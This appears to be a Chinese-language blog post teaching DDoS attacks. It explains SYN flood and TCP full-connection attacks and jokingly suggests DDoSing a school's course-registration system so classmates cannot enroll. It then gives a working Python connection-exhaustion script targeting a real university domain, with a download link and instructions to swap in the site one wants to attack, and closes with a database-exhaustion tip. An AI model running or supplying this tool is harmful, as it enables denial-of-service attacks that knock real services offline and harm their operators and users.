DDoS攻击包教包会(原理和实现)

受限于作者水平,请多多包含本文中可能会出现的漏洞和错误
一、什么是DDoS攻击
DDoS(DDoS:Distributed Denial of Service)分布式拒绝服务攻击,就是让多台计算机联合起来对目标发动拒绝服务攻击。
那么什么又是拒绝服务攻击(DoS)呢?拒绝服务攻击即是攻击者想办法让目标机器停止提供服务的攻击。比如说把对方网页服务搞瘫痪,让对方网站访问不了。
所以DDos攻击,是采用分布式,并以让别人访问不了目标服务器为目的的攻击。可被应用于发泄不满,恶意的竞争等等。
比如学校让抢课啦,而自己又没时间去抢,完全可以开个DDoS,让大家都抢不了课。等自己忙完了,再关掉DDoS。愉快的去抢课。也是一个应用嘛。
注意,这种做法是不合法的。
二、如何DDoS攻击/DDoS攻击的思路
最简单的方式
控制很多台机器不断访问目标站点,或者不断发送请求,如果访问的流量足够大,把目标站点拖垮了,那么它就拒绝服务了。
显然这种方法不经济不实惠,消耗对方多少带宽,自己就需要多少带宽。这种方法是可行但是太傻以至于通常不会这样做。我们需要的是消耗自己一点资源,就能消耗对方大量资源的方法。
最经典的方法——SYN Flood攻击
访问一个网站,我们用的是TCP协议。TCP协议中规定,两台电脑要开始通讯,需要先建立一个连接。连接建立的具体过程是这样的。
1)电脑A想连接电脑B,A向B发送一个SYN信息,即同步信息。B电脑收到后回复一个确认信息ACK。
TCP中每一个数据包都有一个序号,这样接收的时候就知道发出来的先后顺序(因为先发的不一定先到)和有没有数据包漏掉(因为网络原因,有几个包在传输的途中丢了也是很正常的)。SYN包的作用是同步序号,即告诉对方我的下一个包的序号应该是多少。
2)然后同样的。B向A发送一个SYN包,A收到后回复一个ACK包,连接建立完成。
概括一下,就是A发SYN,B发ACK+SYN,A发ACK,连接建立完成。这个过程一般称为“三次握手”。
而SYN Flood攻击就是A发SYN包,B发ACK+SYN,此时A不发ACK而是再发一个SYN,然后不停的发SYN。这会产生大量建立了一半的连接,称为半开连接。
收到一个SYN,就会产生一个半开连接,正常情况下很快又会收到一个ACK,从而建立一个完整的连接。极少时候,一直收不到ACK,超时之后关闭这个半开连接。如果短时间内收到大量SYN而收不到ACK,就会建立很多半开连接,半开连接数如果超过上限,服务器就不会再接受SYN请求了,导致正常用户连不上来。
SYN攻击简单有效。因此大家都喜欢用它。所以服务器对这方面的防御往往会完善一点。同时也有很多现成的软件可以用来防御SYN。同时,要在规定时间内让半开连接数耗尽对网络的带宽还是有一定要求的。
我觉得还不错的方法,TCP全连接攻击。怼学校服务器效果拔群
如果建立半连接无效,我们就只能建立全连接了。TCP全连接攻击的思路是不断建立正常的连接。维持每个连接不让其释放。当连接数积累到很大的时候,服务器就崩了。
往往我们不断制造一些垃圾数据通过连接传输。垃圾数据不需要很大的量,它的目的只是为了避免因为连接长时间没有数据流而被服务器释放。
全连接攻击的优点在于通常不会像半连接一样因为超时而被释放掉。我们可以慢慢建立连接,不用着急。不需要多大带宽。
而服务器方面。需要对每一个连接分配一个线程甚至进程。分配线程的开销是很大的。在投入资源和浪费服务器资源方面,可以说还是很高效了。
个人认为,这种方法是很好防御的。比如可以检查请求头里面的cookie,看他是不是注册了,登陆了。如果cookie验证不过。就不准它长时间的传输数据。不过因为很多网站开发的构架本身不带有这个功能(似乎?),所以一些劣质网站自然也不会带有这种功能吧。
附python代码:
复制过来也不知道缩进对不对,看看就行。要用的可以去我百度网盘下载。
使用方法:下载安装python最新版本。下载源码,双击运行。
记得将源码中的网址改为自己想要用来测试的网址。
源码:链接:https://pan.baidu.com/s/169sIz5md7BGL9LCw8gdDOQ 密码:ak15
python官网:https://www.python.org/
原理是发大量post请求,维持连接并发送少量垃圾数据。
#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=30000
#改写下面的网址为你想攻击的网站!!!!!!!!!
PORT=80
HOST="www.sspu.edu.cn"
PAGE="/recitewords/api"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
while len(socks)<MAX_CONN:
s=socket.socket (socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode('utf-8'))
#print ("[+] Send buf OK!,conn=%d\n"%len(socks))
socks.append(s)
except Exception as ex:
print ("[-] Could not connect to server or send error:%s"%ex)
time.sleep(2)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode('utf-8'))
#print ("[+] send OK! %s"%s)
except Exception as ex:
print ("[-] send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
while(True):
print("存活连接数:%d "%len(socks))
time.sleep(1)
4.针对数据库来消耗资源
此方法更简单。大量发送get请求,请求网站需要查询数据库才能生成的网页即可。简单而有效。
关注,收藏,投硬币!!!!